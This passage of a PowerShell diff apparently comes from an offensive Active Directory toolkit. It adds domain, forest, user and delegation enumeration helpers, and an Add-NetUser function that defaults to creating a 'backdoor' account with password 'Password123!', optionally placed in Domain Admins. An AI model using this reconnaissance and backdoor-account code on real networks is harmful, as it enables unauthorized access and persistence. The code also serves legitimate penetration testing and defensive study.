- $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function + Converts a security identifier (SID) to a group/user name. + + .PARAMETER SID + + The SID to convert. + + .EXAMPLE + + PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $SID + ) + + process { + try { + $SID2 = $SID.trim('*') + + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value } - - #endregion functions + } + } + catch { + # Write-Warning "Invalid SID: $SID" + $SID + } + } +} + + +function Convert-NT4toCanonical { +<# + .SYNOPSIS + + Converts a user/group NT4 name (i.e. dev/john) to canonical format. + + Based on Bill Stewart's code from this article: + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .EXAMPLE + + PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) + Returns "dev.testlab.local/Users/Dave" + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $ObjectName + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } + + $Translate = New-Object -ComObject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" + } + } +} + + +function Get-Proxy { +<# + .SYNOPSIS - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } + Enumerates the proxy server and WPAD conents for the current user. + + .PARAMETER ComputerName + + The computername to enumerate proxy settings on, defaults to local host. + + .EXAMPLE + + PS C:\> Get-Proxy + + Returns the current proxy settings. +#> + param( + [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [String] + $ComputerName = $ENV:COMPUTERNAME + ) + + process { + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if( $PSBoundParameters.ContainsKey("inputObject") ){ - $global:__bound = $true + catch { + $Wpad = "" } - - #endregion INIT } - - Process { - #add piped objects to all objects or set all objects to bound input object parameter - if( -not $global:__bound ){ - $allObjects += $inputObject - } - else{ - $allObjects = $InputObject - } + else { + $Wpad = "" } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - } - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait + if($ProxyServer -or $AutoConfigUrl) { + + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - #collect garbage - [gc]::Collect() - } + + New-Object -TypeName PSObject -Property $Properties + } + else { + Write-Warning "No proxy settings found for $ComputerName" } } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if(-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName" } } - Process - { - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null +} + + +function Get-NameField { + # function that attempts to extract the appropriate field name + # from various passed objects. This is so functions can have + # multiple types of objects passed on the pipeline. + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + $Object + ) + process { + if($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname } - } - } - End - { - #Built up the parameters and run everything in parallel - $params = @() - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - } - if($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout',$True) - } - - Invoke-Parallel @splat -ScriptBlock { - $computer = $_.trim() - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) - { - $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } - $Output.address - } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name } - Catch - { + else { + # strings and catch alls + $Object } } + else { + return $Null + } } } -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. +function Convert-LDAPProperty { + # helper to convert specific LDAP property result fields + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $ADSprefix + ) + + if(!$Domain) { + $Domain = (Get-NetDomain).name + } + else { + if(!$DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC + # to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + + if($ADSpath) { + if($ADSpath -like "LDAP://*") { + $ADSpath = $ADSpath.Substring(7) + } + $DistinguishedName = $ADSpath + } + else { + $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + } + + $SearchString = "LDAP://" + if($DomainController) { + $SearchString += $DomainController + "/" + } + if($ADSprefix) { + $SearchString += $ADSprefix + "," + } + $SearchString += $DistinguishedName + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) +} + + +function Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain + ) + + process { + if($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-NetForest { +<# + .SYNOPSIS + + Returns a given forest object. + + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetForest -Forest external.domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + if($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + # otherwise use the current forest + [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + } +} + + +function Get-NetForestDomain { +<# + .SYNOPSIS + + Return all domains for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Domain + + Return domains that match this term/wildcard. + + .EXAMPLE + + PS C:\> Get-NetForestDomain + + .EXAMPLE + + PS C:\> Get-NetForestDomain -Forest external.local +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [String] + $Domain + ) + + process { + if($Domain) { + # try to detect a wild card so we use -like + if($Domain.Contains('*')) { + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} + } + else { + # match the exact domain name if there's not a wildcard + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} + } + } + else { + # return all domains + (Get-NetForest -Forest $Forest).Domains + } + } +} + + +function Get-NetDomainController { +<# + .SYNOPSIS + + Return the current domain controllers for the active domain. + + .PARAMETER Domain + + The domain to query for domain controllers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to determine the domain controllers. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain test +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP + ) + + process { + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + $Founddomain.DomainControllers + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-NetUser { +<# + .SYNOPSIS + + Query information for a given user or users in the domain + using ADSI and LDAP. Another -Domain can be specified to + query for users across a trust. + Replacement for "net users /domain" + + .PARAMETER UserName + + Username filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER AdminCount + + Switch. Return users with adminCount=1. + + .PARAMETER SPN + + Switch. Only return user objects with non-null service principal names. + + .PARAMETER Unconstrained + + Switch. Return users that have unconstrained delegation. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .EXAMPLE + + PS C:\> Get-NetUser -Domain testing + + .EXAMPLE + + PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Switch] + $Unconstrained, + + [Switch] + $AllowDelegation + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController + } + + process { + if($UserSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Checking for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + if($AllowDelegation) { + Write-Verbose "Checking for users who can be delegated" + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + } + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + # check if we're using a username filter or not + if($UserName) { + # samAccountType=805306368 indicates user objects + $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + } + elseif($SPN) { + $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + } + else { + # filter is something like "(samAccountName=*blah*)" if specified + $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + } + + $UserSearcher.PageSize = 200 + $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Add-NetUser { +<# + .SYNOPSIS + + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. + + .PARAMETER UserName + + The username to add. If not given, it defaults to 'backdoor' + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to 'Password123!' + + .PARAMETER GroupName + + Group to optionally add the user to. + + .PARAMETER ComputerName + + Hostname to add the local user to, defaults to 'localhost' - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. + .PARAMETER Domain - .PARAMETER Server - The hostname/IP to test connectivity to. + Specified domain to add the user to. - .OUTPUTS - $True/$False + .EXAMPLE - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. + .EXAMPLE - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, + .EXAMPLE - [Switch] - $RPC - ) + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} + .EXAMPLE + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" -function Convert-NameToSid { - <# - .SYNOPSIS - Converts a given user/group name to a security identifier (SID). - - .PARAMETER Name - The hostname/IP to test connectivity to. + .Link + + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +#> - .PARAMETER Domain - Specific domain for the given user account. Otherwise the current domain is used. - #> [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + Param ( + [ValidateNotNullOrEmpty()] [String] - $Name, + $UserName = 'backdoor', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + [ValidateNotNullOrEmpty()] [String] $Domain ) - begin { - if(-not $Domain){ - $Domain = (Get-NetDomain).Name + + if ($Domain) { + + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null } - } - process { + + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True + + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + try { - $obj = (New-Object System.Security.Principal.NTAccount($Domain,$Name)) - $obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" } catch { - Write-Warning "invalid name" + Write-Warning '[!] User already exists!' + return } } -} - + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" -function Convert-SidToName { - <# - .SYNOPSIS - Converst a security identifier (SID) to a group/user name. - - 